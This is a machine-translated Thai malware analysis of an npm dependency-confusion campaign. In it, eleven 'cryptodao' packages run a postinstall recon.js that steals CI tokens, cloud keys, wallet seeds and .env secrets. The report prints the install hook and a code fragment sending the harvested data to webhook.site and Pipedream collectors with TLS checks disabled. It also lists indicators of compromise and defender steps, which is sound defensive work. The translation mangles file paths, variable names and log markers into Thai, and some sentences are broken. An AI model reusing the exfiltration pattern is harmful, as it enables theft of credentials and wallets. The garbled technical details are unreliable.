TL; DR
เมื่อวันที่ 17 มิถุนายน 2026 บัญชี npm บัญชีเดียวได้เผยแพร่ข้อมูล แพ็กเกจทั้งสิบเอ็ดชิ้นที่มีจุดประสงค์และเนื้อหาเดียวกันสิบคนในนั้นแบกรับ... cryptodao- คำนำหน้า (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ลำดับที่สิบเอ็ดคือขอบเขต @public-for-cdao/coreทุกชิ้นได้รับการเผยแพร่ในเวอร์ชัน 99.99.99 และจัดส่งแบบไบต์ที่เหมือนกัน recon.js ที่ทำงานบน postinstall.
ชื่อเหล่านั้นบ่งบอกทุกอย่าง พวกมันดูเหมือนส่วนประกอบภายในของชุดเครื่องมือส่วนตัวของโครงการคริปโต/DAO ถูกเผยแพร่ไปยังรีจิสทรี npm สาธารณะด้วยเวอร์ชันที่สูงเกินจริง และรอการสร้างอยู่ pipeline ซึ่งได้รับการกำหนดค่าให้แก้ไขชื่อเหล่านั้น และเข้าถึง npm สาธารณะก่อน หรือแทนที่จะเข้าถึงรีจิสทรีส่วนตัว นี่คือ ความสับสนในการพึ่งพาและอุปกรณ์ที่บรรทุกได้รับการปรับแต่งให้เหมาะสมกับตำแหน่งที่คาดว่าจะลงจอดอย่างแม่นยำ: CI/CD นักวิ่ง.
เมื่อ postinstall ไฟไหม้ recon.js รวบรวมรายละเอียดของโฮสต์ และทำการกวาดล้างอย่างคร่าวๆ ตัวแปรสภาพแวดล้อมสำหรับคลาวด์, CI และกระเป๋าเงินคริปโตจำนวนสี่สิบตัวอ่านได้ทุกเล่ม .env ระบบจะค้นหาไฟล์ที่สามารถค้นหาได้และส่งต่อบรรทัดที่มีความลับโดยไม่เปลี่ยนแปลง จากนั้นจะส่งชุดข้อมูลไปยังผู้รวบรวมข้อมูลสองราย — webhook.site และเอนด์พอยต์ Pipedream ที่ปิดใช้งานการตรวจสอบใบรับรอง TLS สำเนาถูกเขียนไว้ภายใต้ /tmp.
ความรุนแรง: สูงระบบนิเวศที่ได้รับผลกระทบ: NPMแพ็กเกจทั้งสิบเอ็ดแพ็กเกจใช้งานได้ปกติ ณ เวลาที่เขียนบทความนี้
กายวิภาคการโจมตี
กลไกนี้มีชิ้นส่วนที่เคลื่อนไหวได้สี่ชิ้น และไม่มีชิ้นไหนที่ซ่อนเร้นได้เลยเมื่อคุณรู้วิธีใช้งาน ดูข้อมูลถัดจากชื่อแพ็กเกจไปอีกชั้นหนึ่ง
1. การขยายเวอร์ชันเพื่อล่อลวงตัวแก้ไขปัญหา แต่ละแพ็กเกจจะระบุเวอร์ชัน 99.99.99ความสับสนเรื่องการพึ่งพาเกิดขึ้นเมื่อตัวจัดการแพ็กเกจร้องขอ ชื่อภายใน ระบบจะตรวจสอบทะเบียนสาธารณะและเลือกเวอร์ชันสูงสุดที่มีอยู่ npm จะเลือกค่าเริ่มต้นสำหรับการใช้เครื่องหมายเคอร์เซอร์หรือช่วงตัวอักษรแทนค่าว่าง เวอร์ชันที่น่าพึงพอใจที่สุดจากทุกแหล่งที่มาที่กำหนดค่าไว้ หากทั้งสองเป็นส่วนตัว หากระบบลงทะเบียนและ npm ระบุชื่อเดียวกัน หมายเลขเวอร์ชันที่มากกว่าจะเป็นผู้ชนะ A 99.99.99 เหนือกว่าเวอร์ชันภายในที่แท้จริงใดๆ ที่โครงการจะมีอย่างแน่นอน ถึงแล้ว ดังนั้นตัวแก้ไขที่ไม่ผูกติดกับแหล่งข้อมูลส่วนตัวจึงเลือกใช้ สำเนาสาธารณะ — และในกรณีนี้ เป็นสำเนาที่เป็นปรปักษ์ — ผู้ปฏิบัติงานไม่จำเป็นต้องรู้ หมายเลขเวอร์ชันจริงของเป้าหมาย การเลือกค่าสูงสุดที่ไร้สาระจะรับประกันว่าผลจะออกมาเสมอ พวกเขาฝ่าฟันอุปสรรคไปได้
2. ตัวกระตุ้นหลังการติดตั้ง package.json เชื่อมต่อสายส่งข้อมูลเข้ากับการติดตั้ง วงจรชีวิต:
{ "scripts": { "postinstall": "node recon.js" } } ไม่ต้องนำเข้าแพ็กเกจ เพียงแค่ติดตั้งก็เสร็จเรียบร้อยแล้ว — ซึ่งระบบ CI สามารถทำได้ pipeline ทำโดยอัตโนมัติ — เรียกใช้ รีคอน.เจเอส.
3. การกวาดล้างลับในวงกว้าง รีคอน.เจเอส รวบรวมผลลัพธ์เป็นอาร์เรย์ทีละขั้นตอน:
- บริบทของโฮสต์: ชื่อโฮสต์, แพลตฟอร์มและเวอร์ชัน, สถาปัตยกรรม, ชื่อผู้ใช้, สถานะการทำงาน ไดเรกทอรี
- ตัวแปรสภาพแวดล้อม: มันจะวนซ้ำรายการชื่อและบันทึกคงที่ประมาณสี่สิบรายการ ใดๆ ก็ตามที่ถูกกำหนดไว้ รายชื่อนี้เผยให้เห็นอะไรบางอย่าง — มันจับคู่โทเค็น CI ทั่วไป (CI_JOB_TOKEN, รหัสผ่านรีจิสทรี CI, โทเค็นการเข้าถึง GITLAB_ACCESS_TOKEN) และคลาวด์ ข้อมูลประจำตัว (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, โทเค็นเซสชัน AWS) พร้อมด้วยรีจิสทรีและรหัสลับคอนเทนเนอร์ (เอ็นพีเอ็ม_โทเค็น, รหัสผ่าน Docker, รหัสผ่านท่าเรือ) และคลัสเตอร์ที่มีลักษณะเฉพาะของคริปโตเคอร์เรนซี: คีย์ส่วนตัว, เทคนิคช่วยจำ, วลีเริ่มต้น, คีย์ API ของอินฟูรา, ALCHEMY_API_KEY, อีทีเอช_อาร์พีซี, บีเอสซี_อาร์พีซีค่าที่บันทึกไว้จะถูกตัดเหลือเพียง 50 ตัวอักษรแรก
- .env ไฟล์: มันจะตรวจสอบรายการเส้นทาง — .env, ../.env, /แอป/.env, /app/backend/.env, /แอป/บอท/.env, /home/gitlab-runner/.env, /root/.env, และ .การผลิต/.การพัฒนา ตัวแปรต่างๆ — และสำหรับไฟล์ใดๆ ที่มีอยู่ กรองเนื้อหาให้เหลือเฉพาะบรรทัดที่ตรงกัน กุญแจ|ความลับ|โทเค็น|รหัสผ่าน|ส่วนตัว|วิธีจำ และแสดงบรรทัดเหล่านั้น **แบบเต็ม ไม่ตัดทอน** ในผลลัพธ์
- บริบทของ Build-host: แสดงรายการ 20 รายการแรกของ /สร้าง/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/และ / tmp /.
รายการเส้นทางและรายการตัวแปรได้รับการถ่วงน้ำหนักไปทาง GitLab runner ซึ่งชี้ให้เห็นว่า เนื้อหาหลักมุ่งเป้าไปที่โครงสร้างพื้นฐาน CI ที่โฮสต์เองมากกว่านักพัฒนา แล็ปท็อป การจัดกลุ่มรายการเก็บเกี่ยวตามหมวดหมู่ทำให้เห็นผลผลิตที่คาดหวังได้อย่างชัดเจน:
| Category | ตัวแปร / เส้นทางที่เข้าถึง |
|---|---|
| CI/CD การระบุตัวตนและการปรับใช้ | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| เมฆ | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| ทะเบียนและคอนเทนเนอร์ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ที่เก็บข้อมูล | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| คริปโต/บล็อกเชน | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| ส่งข้อความ | SLACK_TOKEN, DISCORD_TOKEN |
| บนดิสก์ | .env ครอบครัว + /home/gitlab-runner/.env, /root/.env, /app/**/.envรายชื่อไดเร็กทอรีของ /builds/, /var/lib/gitlab-runner/ |
กลุ่มการเข้ารหัสลับเป็นส่วนที่ทำให้สิ่งนี้แตกต่างจากรหัสลับ CI ทั่วไป sweep: วลีรหัสลับและรหัสลงนามของกระเป๋าเงินจะปรากฏเฉพาะในสภาพแวดล้อมของ sweep เท่านั้น โครงการบล็อกเชน และพวกมันเชื่อมโยงโดยตรงกับ คริปโตดาว-/สัญญาณ/สัญญา การระบุชื่อผู้ให้บริการขนส่ง
4. การดึงข้อมูลออกสองทางโดยปิดใช้งานการตรวจสอบ อาร์เรย์ที่รวบรวมได้คือ แปลงเป็นรูปแบบอนุกรมและส่งแบบ POST ไปยังปลายทางสองแห่ง:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) ปฏิเสธไม่ได้รับอนุญาต: เท็จ ปิดใช้งานการตรวจสอบใบรับรอง TLS สำหรับขาออก มีการเรียกใช้ฟังก์ชันต่างๆ ข้อมูลเดียวกันจะถูกพิมพ์ไปยัง stdout (ดังนั้นจึงปรากฏในบันทึกงาน CI ด้วย) และ เขียนไป /tmp/.npm_recon_ .jsonความผิดพลาดมักถูกซ่อนไว้อย่างเงียบๆ ดังนั้น การส่งที่ล้มเหลวจะไม่ทิ้งร่องรอยใดๆ ในผลลัพธ์การติดตั้ง นอกเหนือจากข้อความเดียว [สำรวจ] ติดตั้งบน เส้น
ข้อความสำคัญในไฟล์ระบุว่าเป็น "ความสับสนเรื่องการพึ่งพา" "ข้อมูลการสอดแนม" การตัดทอนค่าสภาพแวดล้อมให้เหลือเพียง 50 ตัวอักษรได้ รูปทรงของต้นแบบการพิสูจน์แนวคิด สิ่งที่ทำให้มันเหนือกว่าบีคอนที่แสดงตำแหน่งเพียงอย่างเดียวคือ... .env การจัดการ: ข้อความลับจะถูกส่งต่ออย่างครบถ้วน และปลายทางจะถูกระบุ มีตัวเก็บรวบรวมข้อมูลสองตัวที่ทำงานได้และควบคุมโดยผู้โจมตี แทนที่จะเป็นตัวรับข้อมูลที่นับเพียงอย่างเดียว ฮิต
ปฏิบัติการ
รูปแบบการเผยแพร่ (publish pattern) เป็นเอกลักษณ์เฉพาะของการส่งข้อมูลแบบสคริปต์เพียงครั้งเดียว ไม่ใช่สิบเอ็ดครั้ง การอัปโหลดอิสระ
| เวลา (UTC, 17 มิถุนายน 2026) | อีเว้นท์ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 การตีพิมพ์ |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — รูปแบบที่มีขอบเขตชัดเจน ประมาณ 24 นาทีต่อมา |
มีการส่งพัสดุออกไป 10 ชิ้นภายในช่วงเวลา 29 วินาที หรือประมาณหนึ่งชิ้นทุกๆ สามวินาที ขอบเขต @public-for-cdao/core ตามมาประมาณ 24 นาทีหลังจากนั้น — ครั้งที่สอง หลักเกณฑ์การตั้งชื่อสำหรับเป้าหมายเดียวกัน ในกรณีที่โปรเจกต์ที่ใช้งานอ้างอิงถึงเป้าหมายนั้น ชุดเครื่องมือภายในภายใต้ขอบเขตที่กำหนด แทนที่จะใช้ชื่อแบบเปล่าๆ
ตัวชี้วัดของการประนีประนอม
| ประเภท | ตัวบ่งชี้ |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| ติดตั้งตะขอ | postinstall: node recon.js |
| ไฟล์ที่ถูกทิ้ง | /tmp/.npm_recon_<timestamp>.json |
| เครื่องหมายบันทึก | [recon] <pkg>@<ver> installed on <hostname> (เอาต์พุตมาตรฐานในบันทึก CI) |
| เกี่ยวกับพฤติกรรม | rejectUnauthorized: false บน HTTPS ขาออกระหว่างการติดตั้ง |
| payload | recon.jsเหมือนกันทุกประการในแพ็กเกจทั้งสิบเอ็ดแพ็กเกจ (ใช้บิลด์เดียวกัน) |
| เวอร์ชั่น | 99.99.99 ในทุกแพ็คเกจ |
| แบบรวดเร็ว | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ทั้งหมด 99.99.99) |
| สำนักพิมพ์ | aduljune / aduljune@proton.me (อีเมลไม่ได้รับการยืนยัน ไม่มีลิงก์ไปยังแหล่งเก็บข้อมูลต้นฉบับ) |
การระบุสาเหตุและพฤติกรรมที่สังเกตได้
ทุกอย่างเกี่ยวกับคลัสเตอร์ชี้ไปที่มือข้างเดียว แพ็กเกจทั้งสิบเอ็ดแพ็กเกจได้รับการเผยแพร่แล้ว โดยบัญชี npm อะดัลจูน (aduljune@proton.meที่อยู่ที่ไม่ได้รับการยืนยันและไม่มีข้อมูลใดๆ (แหล่งเก็บข้อมูลที่เชื่อมโยง) ภายในระยะเวลา 25 นาที ในเวลาเดียวกัน 99.99.99 รุ่น การจัดส่งสินค้า รีคอน.เจเอส ซึ่งมีเนื้อหาเหมือนกันทุกไบต์ในทุกๆ แพ็คเกจ (MD5 ตรงกันในสำเนาที่แยกออกมาทั้ง 11 ชุด) นั่นคือเพย์โหลดหนึ่งตัว ประทับลงบนรายชื่อ ไม่ใช่การนำโค้ดกลับมาใช้ใหม่โดยอิสระ
รายชื่อดังกล่าวระบุถึงกลุ่มเป้าหมายที่ต้องการ คริปโตดาว-* และ ซีดีโอ อธิบายไฟล์ โครงสร้างโมดูลส่วนตัวของโครงการคริปโต/DAO และรายการเก็บเกี่ยวของเพย์โหลด สะท้อนให้เห็นถึงการคาดเดานั้น: นอกเหนือจากความลับทั่วไปของ CI และคลาวด์แล้ว ยังรวมถึงความลับเฉพาะอื่นๆ ด้วย เอื้อมมือไป คีย์ส่วนตัว, เทคนิคช่วยจำ, วลีเริ่มต้นและ Ethereum/BSC RPC และ คีย์ผู้ให้บริการ .env เส้นทางการค้นหาและรายการไดเร็กทอรีเป็นของ GitLab-runner เฉพาะเจาะจง ผลที่สังเกตได้คือว่าใดๆ pipeline ถูกหลอกให้ติดตั้งสิ่งเหล่านี้ ชื่อเหล่านั้นจะส่งต่อโทเค็น CI, คีย์บนคลาวด์ และข้อมูลที่จัดเก็บในดิสก์ .env ความลับ — และสำหรับ โครงการบล็อกเชนและข้อมูลในกระเป๋าเงินดิจิทัลของโครงการนั้น ถูกส่งมอบให้กับนักสะสมบุคคลที่สามสองราย
เราไม่ได้กล่าวอ้างใดๆ เกี่ยวกับผู้ที่ดำเนินการบัญชีหรือสิ่งที่พวกเขาวางแผนจะทำกับบัญชีนั้น ข้อมูล ข้อเท็จจริงที่ยืนหยัดได้ด้วยตัวเอง: ชื่อเหล่านั้นมุ่งเป้าไปที่ประเภทเฉพาะเจาะจง ชุดเครื่องมือภายใน ข้อมูลที่ส่งจะอ่านและส่งค่าลับจริง และ โครงสร้างพื้นฐานใช้งานได้แล้ว
ผลกระทบ แนวโน้ม และคำแนะนำสำหรับผู้เล่นฝ่ายรับ
ความสับสนในการพึ่งพา ยังคงมีประสิทธิภาพเพราะมันใช้ประโยชน์จากพฤติกรรมของตัวแก้ไข ไม่ใช่ ช่องโหว่ในบรรจุภัณฑ์ใดๆ ตัวขนส่งในที่นี้เล็กน้อยมาก — กล่องเกือบว่างเปล่าสิบเอ็ดกล่อง พัสดุ — แต่รัศมีของการระเบิดนั้นก็แล้วแต่ pipeline เลือกใช้ npm สาธารณะโดยเข้าใจผิด สำหรับชื่อภายใน นักวิ่ง CI คือสถานที่ที่แย่ที่สุดที่จะเกิดเรื่องแบบนั้นขึ้น: พวกเขาถือครอง โทเค็นและ .env ไฟล์ที่เพย์โหลดนี้อ่าน และติดตั้ง การพึ่งพาอาศัยกันแบบไม่โต้ตอบ ดังนั้น หลังการติดตั้ง วิ่งโดยไม่มีใครเฝ้าดู
กลุ่มข้อมูลนี้ยังสอดคล้องกับรูปแบบที่เราพบเห็นอยู่เรื่อยๆ นั่นคือ เพย์โหลดระหว่างการติดตั้งที่แสดงข้อมูลบางอย่าง ใช้เป็น "การวิจัย" หรือ "การสำรวจ" ในขณะที่กำลังดำเนินการรวบรวมข้อมูลประจำตัวจริง ๆ นี่คือฉลากที่ใช้เรียก ในไฟล์นั้นไม่ได้เปลี่ยนแปลงสิ่งที่โค้ดทำบนรันเนอร์ การเลือกออกแบบสองอย่างยังคงรักษาไว้ กิจกรรมต่างๆ เงียบสงบ: การทำงานของเครือข่ายและระบบไฟล์ทุกอย่างถูกห่อหุ้มด้วย ตัวจัดการข้อยกเว้นที่ละทิ้งข้อผิดพลาด เช่น การส่งที่ถูกบล็อก หรือไฟล์ที่หายไป ไม่แสดงผลลัพธ์การวินิจฉัยใดๆ และสิ่งที่พิมพ์ออกมามีเพียงข้อความที่ไม่เป็นอันตรายเพียงข้อความเดียว [สำรวจ] … ติดตั้งแล้ว เส้นที่กลมกลืนไปกับเสียงรบกวนระหว่างการติดตั้งตามปกติ การใช้ เว็บฮุค.ไซต์ และ Pipedream ก็ถูกออกแบบมาเพื่ออำนวยความสะดวกเช่นกัน — ทั้งสองโปรแกรมใช้งานได้ฟรี บริการจับภาพคำขอได้รับการจัดเตรียมทันที ดังนั้นผู้ปฏิบัติงานจึงไม่จำเป็นต้องมีเซิร์ฟเวอร์ ทั้งชื่อโฮสต์ของพวกเขาเองและปลายทางดูเหมือนจะเป็นชื่อโฮสต์ SaaS ทั่วไปในบันทึกการส่งออก
ปัจจัยทางเศรษฐศาสตร์เป็นสิ่งที่ทำให้เรื่องนี้คุ้มค่าแก่การให้ความสนใจจากฝ่ายปกป้อง แม้ว่า... รหัสผู้ให้บริการนั้นง่ายมาก การลงทะเบียนชื่อ 11 ชื่อไม่เสียค่าใช้จ่ายใดๆ และข้อมูลที่ต้องส่งก็มีเพียงหนึ่งเดียว ไฟล์ถูกคัดลอก 11 ครั้ง และตัวจัดการแพ็กเกจเป็นผู้ดำเนินการทั้งหมด เพียงครั้งเดียว กำหนดค่าผิด pipeline ทุกที่ที่บริโภคชื่อเหล่านี้จะต้องจ่ายเงินเต็มจำนวน การทำงาน
ขั้นตอนที่เป็นรูปธรรมสำหรับผู้เล่นตำแหน่งกองหลัง:
- ตรึงขอบเขตภายในไว้ในรีจิสทรีส่วนตัวของคุณ กำหนดค่า npm ให้ใช้ชื่อภายใน
และขอบเขตจะแก้ไขได้เฉพาะกับรีจิสทรีของคุณเท่านั้น (การแมปรีจิสทรีในไฟล์ .npmrc ที่มีขอบเขต) หรือใช้พร็อกซีที่ไม่ส่งต่อไปยัง npm สาธารณะสำหรับเนมสเปซที่เป็นกรรมสิทธิ์ของคุณ จองชื่อในขอบเขตสาธารณะของคุณไว้ เพื่อไม่ให้ผู้อื่นสามารถลงทะเบียนได้
- Commit ไฟล์ล็อกและติดตั้งโดยใช้ตัวเลือก –ignore-scripts ใน CI เท่าที่ทำได้ หรือ ตรวจสอบกลุ่มของโปรแกรมที่จำเป็นจริงๆ ที่ต้องใช้สคริปต์การติดตั้ง recon.js ไม่สามารถทำงานได้หาก หลังการติดตั้ง ไม่ถูกดำเนินการ
- พิจารณาชื่อที่มีลักษณะภายในเป็นเวอร์ชัน 99.99.99 (หรือราคาที่สูงเกินจริงอื่นๆ) เป็นสัญญาณเตือนภัย ในการตรวจสอบความสัมพันธ์และการติดตามทะเบียนข้อมูล
- แจ้งเตือนเมื่อมีการออกจากระบบระหว่างการติดตั้ง A หลังการติดตั้ง ซึ่งเปิดการเชื่อมต่อ HTTPS ขาออก การเชื่อมต่อ — โดยเฉพาะอย่างยิ่งเมื่อปิดใช้งานการตรวจสอบใบรับรอง — ไปยัง ควรบล็อก webhook.site, Pipedream หรือบริการดักจับคำขอที่คล้ายกันที่ขอบเครือข่ายและทำเครื่องหมายไว้ในบันทึกการสร้าง
- ออกตามล่าหาโบราณวัตถุ ตรวจสอบนักวิ่ง /tmp/.npm_recon_*.json และสำหรับ [ตรวจสอบ] … ติดตั้งบน … เครื่องหมายในบันทึก CI ล่าสุด หากพบ ให้หมุนทุกครั้ง ข้อมูลประจำตัวที่ถูกเปิดเผยต่อสิ่งนั้น pipeline — โทเค็น CI, คีย์คลาวด์, โทเค็นรีจิสทรี และรหัสเริ่มต้นกระเป๋าเงินหรือคีย์ส่วนตัวใดๆ ที่มีอยู่ในไฟล์สภาพแวดล้อมหรือไฟล์ .env
อ้างอิง
ณ เวลาที่เขียนบทความนี้ ยังไม่มีรายงานภายนอกใดๆ เกี่ยวกับกลุ่มคลัสเตอร์นี้ การวิเคราะห์จึงยังไม่เสร็จสมบูรณ์ ข้อมูลข้างต้นอ้างอิงโดยตรงจากเนื้อหาในบรรจุภัณฑ์ที่เผยแพร่




